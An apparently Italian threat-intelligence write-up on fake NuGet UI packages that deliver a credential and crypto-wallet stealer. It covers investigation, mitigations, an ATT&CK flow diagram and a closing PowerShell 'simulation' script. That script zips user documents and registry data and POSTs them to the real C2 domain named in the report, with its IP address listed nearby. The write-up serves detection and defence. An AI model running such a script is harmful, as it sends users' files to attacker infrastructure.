SOC Prime Bias: Critico

12 Mag 2026 18:21

Cinque pacchetti NuGet falsi UI distribuiscono rubatori di credenziali e portafogli crittografici

Author Photo
Ruslan Mikhalov Capo della Ricerca sulle Minacce presso SOC Prime linkedin icon Segui
Cinque pacchetti NuGet falsi UI distribuiscono rubatori di credenziali e portafogli crittografici
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riepilogo

Cinque pacchetti NuGet pubblicati dall’account bmrxntfj imitano famose librerie UI .NET cinesi e incorporano un infostealer protetto con .NET Reactor. Il payload malevolo si attiva non appena il DLL viene caricato, dirotta il compilatore JIT e ruba credenziali del browser, dati del portafoglio di criptovalute, chiavi SSH e file locali prima di esfiltrarli a un dominio di command and control recentemente registrato. Modifiche frequenti della versione e elenchi di pacchetti nascosti aiutano l’operazione a eludere rilevamenti semplici basati su hash, creando rischi sia per le workstation degli sviluppatori sia per gli ambienti CI/CD.

Indagine

I ricercatori hanno scompattato il malware protetto con .NET Reactor, identificato un’assembly .NET di seconda fase denominata we4ftg.exe, e recuperato stringhe di configurazione dalla memoria. La loro analisi ha mostrato quali browser e estensioni dei portafogli erano mirati, documentato uno schema di header HTTP personalizzato e identificato una posizione di staging sotto la directory OneDrive. L’indagine ha anche rivelato dettagli sull’infrastruttura, incluso il dominio di command and control, il suo indirizzo IP e un server Git privato correlato.

Mitigazione

I difensori dovrebbero bloccare la risoluzione DNS e il traffico in uscita verso il dominio e l’indirizzo IP di command and control identificati, monitorare la creazione del file keys.dat all’interno della cartella OneDrive e avvisare sulla personalizzazione X-xxx dell’header HTTP. Qualsiasi IR.* i pacchetti dovrebbero essere rimossi dagli alberi di dipendenze e sostituiti con librerie legittime verificate. Tutte le credenziali, i token e i segreti potenzialmente esposti dovrebbero essere rotati immediatamente.

Risposta

Qualsiasi sistema che abbia ripristinato o caricato uno dei pacchetti malevoli dovrebbe essere trattato come compromesso, isolato e soggetto a una rotazione completa delle credenziali. I contenuti di rilevamento dovrebbero essere aggiornati con gli indicatori pubblicati e i team dovrebbero coordinarsi con gli amministratori della NuGet Gallery per garantire la rimozione dei pacchetti malevoli e la sospensione dell’account del publisher. IR.* packages should be treated as compromised, isolated, and subjected to full credential rotation. Detection content should be updated with the published indicators, and teams should coordinate with NuGet Gallery administrators to ensure the malicious packages are removed and the publisher account is suspended.

"graph TB %% Class definitions classDef technique fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef data fill:#ccffcc classDef operator fill:#ff9900 %% Nodes – Techniques tech_supply_chain["<b>Technique</b> – <b>T1195.002 Compromissione della catena di fornitura</b><br/><b>Descrizione</b>: Compromissione di una catena di fornitura software per iniettare codice malevolo in pacchetti legittimi."] class tech_supply_chain technique tech_appdomain_hijack["<b>Technique</b> – <b>T1574.014 Dirottamento del flusso di esecuzione: Gestore AppDomain .NET</b><br/><b>Descrizione</b>: Gli avversari dirottano il Gestore AppDomain .NET per eseguire il codice prima che l’applicazione prevista inizi."] class tech_appdomain_hijack technique tech_obfuscation["<b>Technique</b> – <b>T1027 Offuscamento di file o informazioni</b><br/><b>Descrizione</b>: Uso di impacchettamento, crittografia o altri metodi per nascondere codice o dati malevoli."] class tech_obfuscation technique tech_trusted_dev_proxy["<b>Technique</b> – <b>T1127 Proxy di esecuzione delle utility per sviluppatori affidabili</b><br/><b>Descrizione</b>: Abuso di utility per sviluppatori legittime o gestori di pacchetti per eseguire codice malevolo."] class tech_trusted_dev_proxy technique tech_software_ext["<b>Technique</b> – <b>T1176 Estensioni Software</b><br/><b>Descrizione</b>: Sfruttare estensioni o plugin software per ottenere l’esecuzione."] class tech_software_ext technique tech_process_discovery["<b>Technique</b> – <b>T1057 Scoperta dei processi</b><br/><b>Descrizione</b>: Enumerare i processi in esecuzione sul sistema vittima."] class tech_process_discovery technique tech_file_dir_discovery["<b>Technique</b> – <b>T1083 Scoperta di file e directory</b><br/><b>Descrizione</b>: Elencare file e directory per localizzare dati di valore."] class tech_file_dir_discovery technique tech_browser_info["<b>Technique</b> – <b>T1217 Scoperta di informazioni del browser</b><br/><b>Descrizione</b>: Raccogliere informazioni sui browser installati e le estensioni."] class tech_browser_info technique tech_browser_credentials["<b>Technique</b> – <b>T1555.003 Credenziali dai Web Browser</b><br/><b>Descrizione</b>: Estrarre password salvate, cookie e altro materiale di credenziali dai browser."] class tech_browser_credentials technique tech_private_keys["<b>Technique</b> – <b>T1552.004 Credenziali non sicure: Chiavi Private</b><br/><b>Descrizione</b>: Localizzare ed esfiltrare chiavi SSH private e altre chiavi crittografiche."] class tech_private_keys technique tech_credentials_files["<b>Technique</b> – <b>T1552.001 Credenziali nei File</b><br/><b>Descrizione</b>: Cercare materiale di credenziali memorizzato in file di configurazione o dati."] class tech_credentials_files technique tech_data_staged_local["<b>Technique</b> – <b>T1074.001 Dati in preparazione: Locali</b><br/><b>Descrizione</b>: I dati raccolti vengono aggregati sull’host locale prima dell’esfiltrazione."] class tech_data_staged_local technique tech_data_staged_remote["<b>Technique</b> – <b>T1074.002 Dati in preparazione: Remoti</b><br/><b>Descrizione</b>: I dati sono pronti in una posizione remota come un cloud storage."] class tech_data_staged_remote technique tech_process_injection["<b>Technique</b> – <b>T1055.001 Iniezione di processo: Iniezione di librerie dinamiche</b><br/><b>Descrizione</b>: Iniettare DLL malevole in processi legittimi per un’esecuzione furtiva."] class tech_process_injection technique tech_sandbox_evasion["<b>Technique</b> – <b>T1497.002 Evasione della Virtualizzazione/Sandbox: Controlli basati su attività dell’utente</b><br/><b>Descrizione</b>: Rilevare ambienti sandbox controllando nomi utente o nomi del computer noti."] class tech_sandbox_evasion technique tech_c2_web["<b>Technique</b> – <b>T1071.001 Protocollo del livello applicativo: Protocolli Web</b><br/><b>Descrizione</b>: Utilizzare HTTP/S per comunicare con i server di command and control."] class tech_c2_web technique tech_junk_data["<b>Technique</b> – <b>T1001.001 Offuscamento dati: Dati spazzatura</b><br/><b>Descrizione</b>: Aggiungere rumore casuale ai payload di rete per ostacolare il rilevamento."] class tech_junk_data technique %% Nodes – Tools and Malware tool_nuget_pkg["<b>Strumento</b> – <b>Nome</b>: Pacchetto NuGet Malevolo IR.*<br/><b>Descrizione</b>: Pacchetti pubblicati su NuGet che imitano librerie cinesi .NET legittime e vengono recuperati durante il ripristino."] class tool_nuget_pkg tool tool_dotnet_reactor["<b>Strumento</b> – <b>Nome</b>: .NET Reactor (Necrobit)<br/><b>Descrizione</b>: Impacchetta e cripta assembly .NET, aggiunge firme anti-manomissione RSAu20111024."] class tool_dotnet_reactor tool malware_payload["<b>Malware</b> – <b>Nome</b>: Payload di .NET Reactor<br/><b>Descrizione</b>: Assembly .NET criptato caricato dal gestore dell’inizializzatore AppDomainManager."] class malware_payload malware tool_sharpinjector["<b>Strumento</b> – <b>Nome</b>: SharpInjector<br/><b>Descrizione</b>: Iniettore .NET che esegue l’iniezione di DLL in processi a lunga durata come explorer.exe."] class tool_sharpinjector tool process_explorer["<b>Processo</b> – <b>Nome</b>: explorer.exe"] class process_explorer process process_dllhost["<b>Processo</b> – <b>Nome</b>: dllhost.exe"] class process_dllhost process data_staged_file["<b>Dati</b> – <b>Percorso</b>: C:ProgramDataMicrosoft OneDrivekeys.dat"] class data_staged_file data %% Flow Connections tech_supply_chain –>|consegna| tool_nuget_pkg tool_nuget_pkg –>|attiva| tech_appdomain_hijack tech_appdomain_hijack –>|carica| malware_payload malware_payload –>|impacchettato da| tool_dotnet_reactor tool_dotnet_reactor –>|abilita| tech_obfuscation tech_obfuscation –>|facilita| tech_trusted_dev_proxy tech_trusted_dev_proxy –>|usa| tech_software_ext tech_software_ext –>|abilita| tech_process_discovery tech_process_discovery –>|porta a| tech_file_dir_discovery tech_file_dir_discovery –>|porta a| tech_browser_info tech_browser_info –>|abilita| tech_browser_credentials tech_browser_credentials –>|raccoglie| tech_private_keys tech_private_keys –>|raccoglie| tech_credentials_files tech_credentials_files –>|stadi| tech_data_staged_local tech_data_staged_local –>|scrive su| data_staged_file data_staged_file –>|sincronizza a| tech_data_staged_remote tech_data_staged_remote –>|usa| tool_sharpinjector tool_sharpinjector –>|inietta nel| process_explorer tool_sharpinjector –>|inietta nel| process_dllhost process_explorer –>|supporta| tech_process_injection process_dllhost –>|supporta| tech_process_injection tech_process_injection –>|verifica per| tech_sandbox_evasion tech_sandbox_evasion –>|permette| tech_c2_web tech_c2_web –>|trasmette con| tech_junk_data %% Class Assignments class tech_supply_chain,tech_appdomain_hijack,tech_obfuscation,tech_trusted_dev_proxy,tech_software_ext,tech_process_discovery,tech_file_dir_discovery,tech_browser_info,tech_browser_credentials,tech_private_keys,tech_credentials_files,tech_data_staged_local,tech_data_staged_remote,tech_process_injection,tech_sandbox_evasion,tech_c2_web,tech_junk_data technique class tool_nuget_pkg,tool_dotnet_reactor,tool_sharpinjector tool class malware_payload malware class process_explorer,process_dllhost process class data_staged_file data "

Flusso di Attacco

Esecuzione di Simulazione

Prerequisito: Il Controllo di Telemetria e Base Pre‑flight deve essere passato.

Razionale: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.

  • Narrazione & Comandi dell’Attacco:
    Un avversario ha compromesso un pacchetto NuGet legittimo che, quando importato in un’applicazione .NET vittima, avvia un payload PowerShell. Il payload esegue i seguenti passaggi:

    1. Scoperta (T1082, T1083): Raccogliere la versione del sistema operativo ed enumerare i documenti utente.
    2. Raccolta Credenziali (T1552.001): Leggi le credenziali memorizzate dal registro.
    3. Archivio (T1560): Comprimere i file raccolti in un archivio ZIP.
    4. Offusca Header (T1027): Aggiungi un header HTTP personalizzato X-Auth-Token: <stringa-casuale> per mascherare il traffico di esfiltrazione.
    5. Esfiltrazione C2 (T1071.001, T1005, T1195.002): POST l’archivio al server C2 malevolo su dns-providersa2.com (o il suo IP hard‑coded 62.84.102.85).

    L’uso della X- dicitura soddisfa direttamente la regola Sigma di http.request.header|contains: "X-" clausola, mentre la destinazione corrisponde alla IoC statica.

  • Script di Test di Regressione:

    # -----------------------------------------------------------------
    # Test di Regressione – Attiva la regola Sigma “Comunicazione C2 Malevola”
    # -----------------------------------------------------------------
    # 1. Raccogliere informazioni sul sistema (T1082)
    $sysInfo = Get-ComputerInfo | Select-Object OSName, OSVersion, WindowsDirectory
    
    # 2. Enumerare i documenti utente (T1083)
    $docs = Get-ChildItem "$env:USERPROFILEDocuments" -Recurse -File -ErrorAction SilentlyContinue
    
    # 3. Leggere una credenziale campione dal registro (T1552.001)
    $credPath = "HKCU:SoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU"
    $storedCred = (Get-ItemProperty -Path $credPath).MRUList | Out-String
    
    # 4. Pack-age dati (T1560)
    $tempZip = "$env:TEMPexfil_$(Get-Random).zip"
    $items = @($sysInfo, $docs, $storedCred)
    Compress-Archive -Path $items -DestinationPath $tempZip -Force
    
    # 5. Preparare custom HTTP header (offuscamento – T1027)
    $authToken = "X-Auth-Token: $([guid]::NewGuid().ToString())"
    
    # 6. Esfiltrare via HTTP POST al C2 malevolo (T1071.001)
    $c2 = "http://dns-providersa2.com/upload"
    Invoke-WebRequest -Uri $c2 `
                      -Method Post `
                      -InFile $tempZip `
                      -ContentType "application/octet-stream" `
                      -Headers @{'X-Auth-Token' = $authToken}
    
    # 7. Pulire artefatto locale
    Remove-Item $tempZip -Force
  • Comandi di Pulizia:

    # Rimuovere tutti i file temporanei che potrebbero rimanere dal test
    Get-ChildItem "$env:TEMPexfil_*.zip" -ErrorAction SilentlyContinue | Remove-Item -Force
    
    # Reimposta dimensione del log firewall (opzionale)
    netsh advfirewall set allprofiles logging maxfilesize 4096